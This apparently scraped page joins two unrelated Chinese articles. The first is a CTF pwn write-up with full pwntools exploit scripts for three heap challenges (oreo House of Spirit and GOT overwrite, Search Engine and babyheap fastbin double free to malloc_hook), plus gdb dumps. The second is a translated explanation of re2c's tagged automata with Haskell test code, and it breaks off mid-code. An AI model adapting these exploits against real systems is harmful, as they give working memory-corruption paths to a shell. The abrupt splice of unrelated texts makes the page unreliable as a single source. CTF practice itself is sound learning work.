这里下的断点，你看ida解析出来的什么鬼，i+13，莫名奇妙的写法，完全看不懂，然后我定位到这里断点后，他加的值是0x34，他是从结构体开头加的0x34(10进制:52)，然后取出下一个指针，也就是next指针，继续进行循环，ida解析出的i+13完全乱来的，52-25
= 27，所以大小就这么退出来了，不理解这个结构体，这道题很多写法都看不懂，比如他的偏移什么，理解了就好构造了。
### 整体思路
题目里有堆溢出，我们可以通过堆溢出溢出到结构体的next指针，让next指针指向got表某一项，从而泄露出地址，进而求出libc的地址，求出libc的地址过后，在利用house
of sprit，free掉一个自己伪造的chunk,进而达到覆写got表成one_gadget，然后通过调用该函数获得权限
### 初始化函数
将堆的各个操作写成函数，因为堆里有很多重复操作，所以这样会比较方便
def add(name, description):
p.sendline("1")
p.sendline(name)
p.sendline(description)
def show():
p.sendline("2")
p.recvuntil("===================================")
def delete():
p.sendline("3")
def edit(payload):
p.sendline("4")
p.sendline(payload)
def puts():
p.sendline("5")
### leak地址
我们知道他有个next指针，所以我们覆盖掉他的next指针，在利用show函数就可以打印任意地址的内容了
#first leak the libc
puts_got = elf.got['puts']
payload = 'a'*27 + p32(puts_got)
add(payload, 'a'*25)
show()
p.recvuntil("===================================")
p.recvuntil("Description: ")
result = p.recvuntil("===================================")[:4]
puts_addr = u32(result)
log.success("puts_got = {:#x}".format(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
这样就leak出puts的地址，接着就可以获得libc地址
### 填充大小并修改next指针
这题目有个计算数值的变量，也就是说你malloc一个，他就会加1，我们可以将这里当作chunk大小，因为一个枪支结构体大小为0x38,所以堆块大小为0x40,我们将其大小提升至0x40，并让最后一个堆块的next指针指向这块
i = 1
while i < 0x3f:
add('a'*27 + p32(0), 'b'*25)
i += 1
payload = 'a'*27 + p32(0x804A2A8)
add(payload, 'a'*25)
0x804a2a4是count的地址，所以+4就是堆块的数据段
### 绕过检测
1. 对齐检查
在此处的检查中，要求堆块具有16bytes对齐，所以chunk header的起始地址应为0x**0的形式。
2. fake chunk 的size大小检查
按照上文中chunk的结构布局，使当前fake chunk的size为合适的大小，能够充足利用并且加入fastbin(0x10-0x80)，
3. next chunk 的size大小检查
除了当前chunk的大小，与目标地址物理相邻的内存空间也应按照堆块的结构将size位置改写为能够加入fastbin的合适的大小的数值。
4. 标记位检查
This chunk.size of this region has to be 16 more than the region (to
accomodate the chunk data) while still falling into the fastbin category (<=
128 on x64). The PREVINUSE (lsb) bit is ignored by free for fastbin-sized
chunks, however the IS _MMAPPED_ (second lsb) and _NON_MAIN_ARENA (third lsb)
bits cause problems…. note that this has to be the size of the next malloc
request rounded to the internal size used by the malloc implementation. E.g.
on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the
malloc parameter at the end.
### begin fake
payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
payload = payload.ljust(0x34, 'b')
payload += p32(0)
payload = payload.ljust(0x80, 'c')
edit(payload)
delete()
p.recvuntil('Okay order submitted!\n')
gdb-peda$ x/60wx 0x804a2c0-0x20
0x804a2a0: 0x00000000 0x00000040 0x0804a2c0 0x00000000
0x804a2b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a2c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a2d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a2e0: 0x00000040 0x00000100 0x62626262 0x62626262
0x804a2f0: 0x62626262 0x00000000 0x63636363 0x63636363
0x804a300: 0x63636363 0x63636363 0x63636363 0x63636363
0x804a310: 0x63636363 0x63636363 0x63636363 0x63636363
0x804a320: 0x63636363 0x63636363 0x63636363 0x63636363
0x804a330: 0x63636363 0x63636363 0x63636363 0x00636363
0x804a340: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a350: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a360: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a370: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a380: 0x00000000 0x00000000 0x00000000 0x00000000
可以看下内存中的内容,这就是构造完成后的图，然后free掉0x804a2a0这个大小为0x40的堆块，然后在fastbin中是FILO，所以你在申请的堆块就是申请到的是0x804a2a0这个堆块，在0x0804a2a8这个堆块的数据部分的东西就很重要了
### 覆写got表
payload = p32(elf.got['strlen'])
payload = payload.ljust(25,'a')
add('b'*27 + p32(0), payload)
payload = p32(sys_addr) + ";/bin/sh\x00"
edit(payload)
p.interactive()
这里ctf-wiki用的是strlen表， **然后这里有个小细节。。。记得第二个位置才是结构体的开头，所以payload要放在add的第二个位置**
，构造payload为strlen的地址，然后在用edit函数进行编辑
unsigned int Message()
{
unsigned int v0; // ST1C_4
v0 = __readgsdword(0x14u);
printf("Enter any notice you'd like to submit with your order: ");
fgets(dword_804A2A8, 128, stdin);
sub_80485EC(dword_804A2A8);
return __readgsdword(0x14u) ^ v0;
}
edit函数在ida里的原样，就是从0x804a2a8指向的空间写东西，这里指向的空间是0x0804a2c0也就是我们刚刚payload写入的位置，然后进行编辑
gdb-peda$ x/60wx 0x804a2a8-0x8
0x804a2a0: 0x00000001 0x00000041 0x0804a250 0x61616161
0x804a2b0: 0x61616161 0x61616161 0x61616161 0x61616161
0x804a2c0: 0x62000061 0x62626262 0x62626262 0x62626262
0x804a2d0: 0x62626262 0x62626262 0x62626262 0x00000000
0x804a2e0: 0x0000000a 0x00000100 0x62626262 0x62626262
0x804a2f0: 0x62626262 0x00000000 0x63636363 0x63636363
0x804a300: 0x63636363 0x63636363 0x63636363 0x63636363
0x804a310: 0x63636363 0x63636363 0x63636363 0x63636363
0x804a320: 0x63636363 0x63636363 0x63636363 0x63636363
0x804a330: 0x63636363 0x63636363 0x63636363 0x00636363
0x804a340: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a350: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a360: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a370: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a380: 0x00000000 0x00000000 0x00000000 0x00000000
你看，地址变成了0x804a250
► 0x80487eb call fgets@plt <0x8048480>
s: 0x804a250 ([email protected]) —▸ 0xf7e3d440 ◂— 0x7c8b5756
n: 0x80
stream: 0xf7f715a0 (_IO_2_1_stdin_) ◂— 0xfbad208
就是got表的地址
然后编辑过后调用strlen就会出发了，这里我有个不懂的地方就是将got表覆盖成system的地址，然后我不知道如何进行传参数，ctf-wiki给的是‘;/bin/sh\x00'，经过测试system("abcd;/bin/sh")在c语言里也是可以获得权限的，
这里是调用strlen，strlen求的是payload长度，所以相当于system(payload)
也就是相当于system(p32(sys_addr)+";/bin/sh")
并且他前面求出了bin_sh地址，他也没用上。应该也是这里卡住了一小会，我是转头改用了one_gadget
payload = p32(elf.got['puts'])
payload = payload.ljust(25,'a')
add('b'*27 + p32(0), payload)
one_gadget = libc_base + 0x5fbc5
payload = p32(one_gadget)
edit(payload)
puts()
p.interactive()
完结，撒花
完整exp
#!/usr/bin/env python
# coding=utf-8
from PwnContext.core import *
ctx.binary = 'oreo'
ctx.remote_libc = 'libc.so.6'
ctx.debug_remote_libc = True
elf = ELF('./oreo')
if ctx.debug_remote_libc == False:
libc = elf.libc
else:
libc = ctx.remote_libc
local = 1
if local:
#context.log_level = 'debug'
p = ctx.start()
else:
p = remote("",10000)
log.info('PID: ' + str(proc.pidof(p)[0]))
def add(name, description):
p.sendline("1")
p.sendline(name)
p.sendline(description)
def show():
p.sendline("2")
p.recvuntil("===================================")
def delete():
p.sendline("3")
def edit(payload):
p.sendline("4")
p.sendline(payload)
def puts():
p.sendline("5")
if __name__ == '__main__':
#first leak the libc
puts_got = elf.got['puts']
payload = 'a'*27 + p32(puts_got)
add(payload, 'a'*25)
show()
p.recvuntil("===================================")
p.recvuntil("Description: ")
result = p.recvuntil("===================================")[:4]
puts_addr = u32(result)
log.success("puts_got = {:#x}".format(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
#second fake bin
i = 1
while i < 0x3f:
add('a'*27 + p32(0), 'b'*25)
i += 1
payload = 'a'*27 + p32(0x804A2A8)
add(payload, 'a'*25)
### begin fake
payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
payload = payload.ljust(0x34, 'b')
payload += p32(0)
payload = payload.ljust(0x80, 'c')
gdb.attach(p)
edit(payload)
delete()
p.recvuntil('Okay order submitted!\n')
payload = p32(elf.got['strlen'])
payload = payload.ljust(25,'a')
add('b'*27 + p32(0), payload)
#one_gadget = libc_base + 0x5fbc5
#payload = p32(one_gadget)
payload = p32(sys_addr) + ";/bin/sh\x00"
edit(payload)
puts()
p.interactive()
## 2015 9447 CTF : Search Engine
这道题说实话，我连功能怎么使用都不知道。。最后看了wp，也是似懂非懂，不过大概漏洞过程我是理解了的
先利用unsortbin泄露地址
double free 到malloc_hook
然后改malloc_hook为one_gadget
错位部分自己解决
最近学到一个新姿势，double free触发malloc_hook，下一篇写个最近遇到的有趣的题目
其余部分参考ctf-wiki
### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'search'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'search'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
io = ctx.start()
libc = ELF(libc)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================a
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
# FORTIFY: Enabled
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset
unsortedbin_offset_main_arena = offset_bin_main_arena(0)
main_arena_offset = 0x3c4b20
def index_sentence(s):
io.recvuntil("3: Quit\n")
io.sendline('2')
io.recvuntil("Enter the sentence size:\n")
io.sendline(str(len(s)))
io.send(s)
def search_word(word):
io.recvuntil("3: Quit\n")
io.sendline('1')
io.recvuntil("Enter the word size:\n")
io.sendline(str(len(word)))
io.send(word)
def leak_libc():
smallbin_sentence = 's' * 0x85 + ' m '
index_sentence(smallbin_sentence)
search_word('m')
io.recvuntil('Delete this sentence (y/n)?\n')
io.sendline('y')
search_word('\x00')
io.recvuntil('Found ' + str(len(smallbin_sentence)) + ': ')
unsortedbin_addr = u64(io.recv(8))
io.recvuntil('Delete this sentence (y/n)?\n')
io.sendline('n')
return unsortedbin_addr
def exp():
# 1. leak libc base
unsortedbin_addr = leak_libc()
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
libc_base = main_arena_addr - main_arena_offset
log.success('unsortedbin addr: ' + hex(unsortedbin_addr))
log.success('libc base addr: ' + hex(libc_base))
# 2. create cycle fastbin 0x70 size
index_sentence('a' * 0x5d + ' d ') #a
index_sentence('b' * 0x5d + ' d ') #b
index_sentence('c' * 0x5d + ' d ') #c
# a->b->c->NULL
search_word('d')
io.recvuntil('Delete this sentence (y/n)?\n')
io.sendline('y')
io.recvuntil('Delete this sentence (y/n)?\n')
io.sendline('y')
io.recvuntil('Delete this sentence (y/n)?\n')
io.sendline('y')
# b->a->b->a->...
search_word('\x00')
io.recvuntil('Delete this sentence (y/n)?\n')
gdb.attach(io)
io.sendline('y')
io.recvuntil('Delete this sentence (y/n)?\n')
io.sendline('n')
io.recvuntil('Delete this sentence (y/n)?\n')
io.sendline('n')
# 3. fastbin attack to malloc_hook nearby chunk
fake_chunk_addr = main_arena_addr - 0x33
fake_chunk = p64(fake_chunk_addr).ljust(0x60, 'f')
index_sentence(fake_chunk)
index_sentence('a' * 0x60)
index_sentence('b' * 0x60)
one_gadget_addr = libc_base + 0xf02a4
payload = 'a' * 0x13 + p64(one_gadget_addr)
payload = payload.ljust(0x60, 'f')
index_sentence(payload)
if __name__ == '__main__':
exp()
io.interactive()
## 2017 0ctf babyheap
### 漏洞点
__int64 __fastcall fill(chunk *a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = read_num();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = LODWORD(a1[(int)result].inuse);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = read_num();
v3 = result;
if ( (int)result > 0 )
{
printf("Content: ");
result = read_content(a1[v2].ptr, v3);
}
}
}
return result;
}
这里写任意长度，堆溢出，原来想unlink发觉没全局变量
__int64 __fastcall free_chunk(chunk *a1)
{
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = read_num();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = LODWORD(a1[(int)result].inuse);
if ( (_DWORD)result == 1 )
{
LODWORD(a1[v2].inuse) = 0;
a1[v2].size = 0LL;
free(a1[v2].ptr);
result = (__int64)&a1[v2];
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;
}
free后没有置空，存在double free
### 漏洞利用过程
1. 这道题我原来觉得很简单，后面自己做起来才发觉问题较多，不是难，而是细节性的问题比较多
2. 大体思路是构造unsortbin泄露libc地址，然后通过覆盖malloc_hook成one_gadget拿到shell
3. 细节点1：你会发觉这道题你没有全局变量，所以要在堆上做文章，通过连续free两个chunk，第一个free的chunk的fd会指向第二个
4. 细节点2：要绕过fastbin的长度检测，所以要多次溢出修改size，这里我建议不要急着free，我自己做的时候先free就出错了
5. 细节点3： idx问题， 要注意标记好idx，不然自己都不知道哪个对应哪个
6. 具体在exp里在标注下注释就好了
### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'babyheap'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'babyheap'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
io = ctx.start()
libc = ELF(libc)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
def Allocate(size):
io.sendlineafter("Command: ", "1")
io.sendlineafter("Size: ", str(size))
def Dump(idx):
io.sendlineafter("Command: ", "4")
io.sendlineafter("Index: ", str(idx))
def Fill(idx, size, content):
io.sendlineafter("Command: ", "2")
io.sendlineafter("Index: ", str(idx))
io.sendlineafter("Size: ", str(size))
io.sendlineafter("Content: ", content)
def Free(idx):
io.sendlineafter("Command: ", "3")
io.sendlineafter("Index: ", str(idx))
def test():
Allocate(0x10)
Dump(0)
Fill(0, 0x10, 'a'*0x18)
Free(0)
def exp():
#test()
Allocate(0x10) #0
Allocate(0x10) #1
Allocate(0x10) #2
Allocate(0x10) #3
Allocate(0x80) #4
#细节点1
Free(2)
Free(1)
payload = 'a'*0x10 + p64(0) + p64(0x21) + p8(0x80)
Fill(0, len(payload), payload)
payload = 'a'*0x10 + p64(0) + p64(0x21)
#细节点2
Fill(3, len(payload), payload)
Allocate(0x10) #1
Allocate(0x10) #2
payload = 'a'*0x10 + p64(0) + p64(0x91)
#细节点2
Fill(3, len(payload), payload)
Allocate(0x80) #5
Free(4)
Dump(2)
io.recvuntil("Content: \n")
libc_base = u64(io.recv(6).strip().ljust(8, '\x00')) - 0x3c4b78
io.success("libc_base: 0x%x" % libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
io.success("malloc_hook: 0x%x" %malloc_hook)
one_gadget = 0x45216
one_gadget = 0x4526a #0xf02a4 0xf1147
one_gadget = one_gadget + libc_base
ptr = malloc_hook-0x20-0x3
Allocate(0x60) #4
Free(4)
payload = p64(ptr)
Fill(2, len(payload), payload)
Allocate(0x60) #4
Allocate(0x60) #6
payload = 'a'*0x13 + p64(one_gadget)
Fill(6, len(payload), payload)
Allocate(0x20) #7
#gdb.attach(io)
if __name__ == '__main__':
exp()
io.interactive()
## 总结
1. fastbin的题目相对来说不难，可能是因为前面有基础了的原因了吧，以后多做下题巩固下就好
2. double free也是常用的攻击手段
3. 逆向还得多学习，像搜索引擎那题，看都看不懂题目，做什么题。。。
## 参考链接
[ctf-wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/) | 社区文章 |
# re2c浅探
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文主要依据NFAs with Tagged Transitions, their Conversion to Deterministic Automata
and Application to Regular Expressions Ville Laurikari Helsinki University of
Technology Laboratory of Computer Science PL 9700, 02015 TKK, Finland
[[email protected]](mailto:[email protected])这篇论文以及re2c自身代码进行描述。
## EXP抽象化
re2c的抽象化过程和我们程序分析理论中的内容有很高的一致性。首先是最基本的结构单元EXP。每一句代码都是EXP，而这些EXP往往可以进一步分解：如123+234，在程序分析理论的结构上的操作语义部分，我们提出了这样的分析方法：A[a1
opa a2]σ = A[a1]σ opa
A[a2]σ。这里也是一样，同时还增加了实际分析的细节：首先，我们将123+234整个EXP转换成EXP+EXP。随后对第一个EXP进行同样的分解。由于123不包含op所以转换成VAR。对于VAR我们进行按位读取识别：将第一位和后续分开。第一位看作DGT，后续看作新的VAR。直到将123全部识别。随后对234进行同样的操作。
即
EXP->EXP+EXP->VAR+EXP->1 VAR +EXP ->12 VAR +EXP ->123+EXP->123+VAR->123+2
VAR->123+23 VAR ->123+234
## NFA自动机
NFA Nondeterministic Finite Automaton 非确定有限状态自动机
有限状态自动机。首先对状态进行定义，状态是自动机每一次处理信号的结果，每一次接收信号后会进入新的状态，这个状态可能是循环状态（处理信号后之前的处理机制依旧适用），也可能是下一个状态（已经不适用于相同状态的处理，需要进入新的状态，应用新的处理机制）
要实现上面所描述的状态，需要进行相应的运算，对于应用新的处理机制的运算为组合运算，用RS表示。对于依旧使用当前机制的运算为重复运算，用R^*表示。除此之外，还有替换运算：从当前状态转换到下一状态可以应用两种不同的处理机制，比如说一个EXP可以处理成VAR，也可能是一个函数的调用。用R|S表示。
## DFA自动机
DFA Deterministic Finite Automaton 确定有限状态自动机
其确定性在于该模型用于解决已知字符串是否满足自动机设置。即满足条件就继续否则退出，这种是就是是不是就是不是的设置使得自动机只存在一条路径，不会出现R|S的运算。这不代表DFA自动机一次只能应用一种处理机制，DFA自动机和NFA自动机实际可以相互转化，DFA自动机每一个状态的处理机制是NFA相对应处理机制的集合。
即对于下面一个NFA自动机，我们可以转换成如图二所示的DFA自动机
图一
图二
图二中的0包含图一中的0,1,2：在接收初始状态时，进入NFA的0，也就是DFA中的0(0)。接收到a则进入NFA的1，也就是DFA中的0(1)。接收到b则直接进入NFA的3，也就是DFA的1(3)。其余部分相似。所以DFA的处理机制是NFA处理机制的集合。
## TNFA自动机
NFA with tagged transitions就是在NFA的基础上加上了tag元素，用于记录自动机处理过程。
也就是TNFA不仅包含NFA中有的有限个状态，有限个符号，运算关系，初始状态，结束状态，还包含有限个标签。
在处理一个输入时，首先接收前，自动机处于上一个状态，接收输入时，设置tag在当前处理机制，进入下一个状态
虽然加上了Tag，但是NFA的不确定性依旧存在，所以我们要把TNFA转换成DA deterministic automata。
首先，我们要找到初始状态，根据TNFA的处理机制确定TDFA的初始状态。再根据所有的处理机制，将处理机制进行分类集合，形成TDFA的处理机制。最后确定退出状态。
## TDFA自动机
同样的TDFA是加上了tag的DFA。
相较于TNFA，TDFA不仅包含有限个状态，有限个符号，初始状态，最终状态，还包含过度函数，初始化和终止化。
### tag的作用
当我们想要匹配[0-9] _[a-z]\_
的时候，在[0-9]和[a-z]之间的处理机制的转换在没有tag的时候不能明确标识出来。加入tag后，我们不再需要通过检测到非[0-9]切换处理机制，再重复读取该非[0-9]的信号。
当然，tag的添加不具有唯一性，比如正则表达式为(a|b) _t_0 b (a|b)\_
的处理机制，对于abba信号，t_0可以标记在第一个a后面，也可以标记在第一个b后面。为此，我们添加一项原则使得tag唯一。对于包含重复处理机制的匹配，我们尽可能的多去实现重复，也就是说，除非当前处理机制不能应用，或者应用当前匹配机制后无法继续匹配，否则使用当前处理机制。
## 例子
0是初始状态，接收信号后，可能应用同样的处理机制或者进入下一状态。所以TDFA的初始状态也是0.
状态1可能使用同样的处理机制也可能进入状态2，而状态2是TNFA的终止状态，所以对于TNFA的1，2是TDFA的1，也是TDFA的终止状态。除此之外，TDFA具有终止化操作，即对于进入TDFA的1(2)后，会退出程序。同样的，在TDFA的初始状态0中，会包含初始化达到使用新的处理机制进入程序的作用。其中，过度函数就是应用处理机制时记录标签从而达到记录执行过程的作用。
## 伪代码实现
对于一个状态t，进行a处理
对于任意状态u->u’之间存在a处理，则添加到链表中。
reach(t,a)
for u->u’ == a ： r = r + (u’ , k)
当前状态所有可能的处理机制进行遍历，找到进入其他状态的最短路径。
t_closure
for (u , k) ∈ S (：push(u,0,k) 😉
init closure
while stack (: pop(s,p,k) ; for s -> u (: if tag (: remove ; add )
if (u,p’,k’) ∈ closure and p < p’ (: remove (u,p’,k’) 😉 if (u,p.k) not ∈
closure : (add(u,p,k) ; push (u,p,k))))
将TNFA转换成TDFA
for map item : add map item to init ; signal map item
while signal map item : unsignal signal item ; for symbol : u <\-t_closure(reach(t,a)) ; c <\- list ;for map item in u : if map item not in k :
add map item to c ; if u -> u’ == R : add R to c ; else signal u’ ; t = u’ ; c
= a ; if u’ == final : finish ;
伪代码执行流程：
将当前状态的处理机制保存到链表中，将所有保持0状态的处理机制添加到初始化部分。接收信号，将所有能够处理a信号的处理机制添加到新的链表中，并且将该链表中的处理机制进行筛选，找到能够跳转的最短的应用链群。将跳转的状态和使用的处理机制链记录，重复上述步骤处理新的状态直到进入终止状态。
## 代码分析
import qualified Test.QuickCheck as Q
import qualified Test.QuickCheck.Monadic as QM
import qualified System.Process as SP
import qualified System.Exit as SE
import qualified Data.ByteString.Char8 as BS
import Data.Char (ord)
import qualified Text.Regex.TDFA as X
import qualified Data.Array as A
import Control.Monad (when)
data E = A | B | C
| Empty
| NA | NB | NC
| Alt E E
| Cat E E
| Star E
| Plus E
| Mayb E
| FromTo Int Int E
| From Int E
instance Show E where
show x = case x of
A -> "[a]"
B -> "[b]"
C -> "[c]"
Empty -> "(\"\")"
NA -> "[^a]"
NB -> "[^b]"
NC -> "[^c]"
-- Alt l r -> show l ++ "|" ++ show r
Alt l r -> "(" ++ show l ++ "|" ++ show r ++ ")"
-- Cat l r -> show l ++ show r
Cat l r -> "(" ++ show l ++ show r ++ ")"
Star e -> "(" ++ show e ++ ")*"
Plus e -> "(" ++ show e ++ ")+"
Mayb e -> "(" ++ show e ++ ")?"
FromTo n m e -> "(" ++ show e ++ "){" ++ show n ++ "," ++ show m ++ "}"
From n e -> "(" ++ show e ++ "){" ++ show n ++ ",}"
show_posix :: E -> String
show_posix x = case x of
A -> "[a]"
B -> "[b]"
C -> "[c]"
Empty -> "()"
NA -> "[^a]"
NB -> "[^b]"
NC -> "[^c]"
-- Alt l r -> show_posix l ++ "|" ++ show_posix r
Alt l r -> "(" ++ show_posix l ++ "|" ++ show_posix r ++ ")"
-- Cat l r -> show_posix l ++ show_posix r
Cat l r -> "(" ++ show_posix l ++ show_posix r ++ ")"
Star e -> "(" ++ show_posix e ++ ")*"
Plus e -> "(" ++ show_posix e ++ ")+"
Mayb e -> "(" ++ show_posix e ++ ")?"
FromTo n m e -> "(" ++ show_posix e ++ "){" ++ show n ++ "," ++ show m ++ "}"
From n e -> "(" ++ show_posix e ++ "){" ++ show n ++ ",}"
instance Q.Arbitrary E where
arbitrary = do
d <- Q.choose (2,4) :: Q.Gen Int
arbitrary_d d
arbitrary_d :: (Enum a, Eq a, Num a) => a -> Q.Gen E
arbitrary_d 0 = do
Q.frequency
[ (1, pure Empty)
, (1, pure A)
, (1, pure B)
, (1, pure C)
, (1, pure NA)
, (1, pure NB)
, (1, pure NC)
]
arbitrary_d d = do
n <- Q.choose (0,1) :: Q.Gen Int
m <- Q.choose (if n == 0 then 1 else n, 3) :: Q.Gen Int
Q.frequency
[ (1, pure Empty)
, (1, pure A)
, (1, pure B)
, (1, pure C)
, (1, pure NA)
, (1, pure NB)
, (1, pure NC)
, (30, Alt <$> arbitrary_d d' <*> arbitrary_d d')
, (30, Cat <$> arbitrary_d d' <*> arbitrary_d d')
, (10, Star <$> arbitrary_d d')
, (10, Plus <$> arbitrary_d d')
, (10, Mayb <$> arbitrary_d d')
, (10, FromTo n m <$> arbitrary_d d')
, (10, From n <$> arbitrary_d d')
]
where d' = pred d
parse_input :: Int -> IO [(BS.ByteString, [Int], [BS.ByteString], X.MatchArray)]
parse_input ncaps = do
let step :: BS.ByteString -> BS.ByteString -> (BS.ByteString, [Int], [BS.ByteString], X.MatchArray, BS.ByteString)
step input key =
let ns'@(n1:n2:_:ns) = reverse $ BS.foldl' (\xs c -> ord c : xs) [] key
s = BS.take n2 input
ss = split ns s
ar = A.listArray (0, ncaps) (split2 ns s)
rest = BS.drop n1 input
in (s, ns', ss, ar, rest)
go :: [BS.ByteString] -> BS.ByteString -> [(BS.ByteString, [Int], [BS.ByteString], X.MatchArray)]
go [] _ = []
go (key:keys) input =
let (s, ns, ss, ar, rest) = step input key
in (s, ns, ss, ar) : go keys rest
split :: [Int] -> BS.ByteString -> [BS.ByteString]
split [] _ = []
split (n1:n2:ns) s = (BS.drop n1 . BS.take n2) s : split ns s
split _ _ = error "uneven number of keys"
split2 :: [Int] -> BS.ByteString -> [(Int, Int)]
split2 [] _ = []
split2 (n1:n2:ns) s = case (n1, n2) of
(255, 255) -> (-1, 0) : split2 ns s
_ | n1 /= 255 && n2 /= 255 -> (n1, n2 - n1) : split2 ns s
_ -> error $ "bad re2c result: " ++ show (n1, n2)
split2 _ _ = error "uneven number of keys"
split_at :: Int -> BS.ByteString -> [BS.ByteString]
split_at _ s | s == BS.empty = []
split_at n s | BS.length s < n = error "bad tail"
split_at n s = BS.take n s : split_at n (BS.drop n s)
ncaps' = 2 * (ncaps + 1) + 3
input <- BS.readFile "a.c.line1.input"
keys <- split_at ncaps' <$> BS.readFile "a.c.line1.keys"
return $ go keys input
prop_test_re2c :: E -> Q.Property
prop_test_re2c r1 = QM.monadicIO $ do //读取输入流
let portable_empty = "[a]{0}"
re_file = "/*!re2c " ++ show r1 ++ "|" ++ portable_empty ++ " {} */" //show函数
re_posix = "^" ++ show_posix r1 ++ "|" ++ portable_empty //show_posix
rr = X.makeRegex re_posix :: X.Regex //正则匹配
ncaps = length $ filter (== '(') re_posix
re2c = "../re2c"
ok0 <- QM.run $ do
BS.writeFile "a.re" $ BS.pack re_file
SP.system $ "ulimit -t 10 && " ++ re2c
++ " --posix-captures -Werror-undefined-control-flow -ST a.re -o a.c 2>>re2c_last_warning"
++ " || exit 42 && gcc a.c -o a && ./a"
QM.assert $ ok0 `elem` [SE.ExitSuccess, SE.ExitFailure 42]
when (ok0 == SE.ExitFailure 42) $ do
QM.run $ print re_posix
when (ok0 == SE.ExitSuccess) $ do
ss <- QM.run $ parse_input ncaps
mapM_ (\(s, ns, xs, ar) -> do
let s1 = map BS.unpack xs
s2 = ((\x -> if x == [] then [] else head x) . X.match rr . BS.unpack) s
ar' = (X.match rr . BS.unpack) s :: X.MatchArray
ok = (ar == ar' && s1 == s2) || (BS.filter (== '\n') s) /= BS.empty
QM.run $ when (not ok) $ do
print re_posix
print ncaps
print $ BS.unpack s
print ns
print s1
print s2
print ar
print ar'
QM.assert ok
) ss
main :: IO ()
main = Q.quickCheckWith Q.stdArgs { Q.maxSuccess = 1000000 } prop_test_re2c
获取re2c结构的表达式，转换成规则，为后续分析进行匹配。
parse.cc 基于 bison
static const char *const yytname[] =
{
"$end", "error", "$undefined", "TOKEN_COUNT", "TOKEN_ERROR",
"TOKEN_REGEXP", "'|'", "'*'", "'+'", "'?'", "'('", "')'", "$accept",
"regexp", "expr", "term", "factor", "primary", YY_NULLPTR
};
#define yyerrok (yyerrstatus = 0)
#define yyclearin (yychar = YYEMPTY)
#define YYEMPTY (-2)
#define YYEOF 0
#define YYACCEPT goto yyacceptlab
#define YYABORT goto yyabortlab
#define YYERROR goto yyerrorlab
switch (yyn)
{
case 2:
#line 51 "../lib/parse.ypp" /* yacc.c:1651 */
{ regexp = (yyval.regexp); }
#line 1244 "lib/parse.cc" /* yacc.c:1651 */
break;
case 4:
#line 55 "../lib/parse.ypp" /* yacc.c:1651 */
{ (yyval.regexp) = ast_alt((yyvsp[-2].regexp), (yyvsp[0].regexp)); }
#line 1250 "lib/parse.cc" /* yacc.c:1651 */
break;
case 6:
#line 60 "../lib/parse.ypp" /* yacc.c:1651 */
{ (yyval.regexp) = ast_cat((yyvsp[-1].regexp), (yyvsp[0].regexp)); }
#line 1256 "lib/parse.cc" /* yacc.c:1651 */
break;
case 8:
#line 65 "../lib/parse.ypp" /* yacc.c:1651 */
{ (yyval.regexp) = ast_iter((yyvsp[-1].regexp), 0, AST::MANY); }
#line 1262 "lib/parse.cc" /* yacc.c:1651 */
break;
case 9:
#line 66 "../lib/parse.ypp" /* yacc.c:1651 */
{ (yyval.regexp) = ast_iter((yyvsp[-1].regexp), 1, AST::MANY); }
#line 1268 "lib/parse.cc" /* yacc.c:1651 */
break;
case 10:
#line 67 "../lib/parse.ypp" /* yacc.c:1651 */
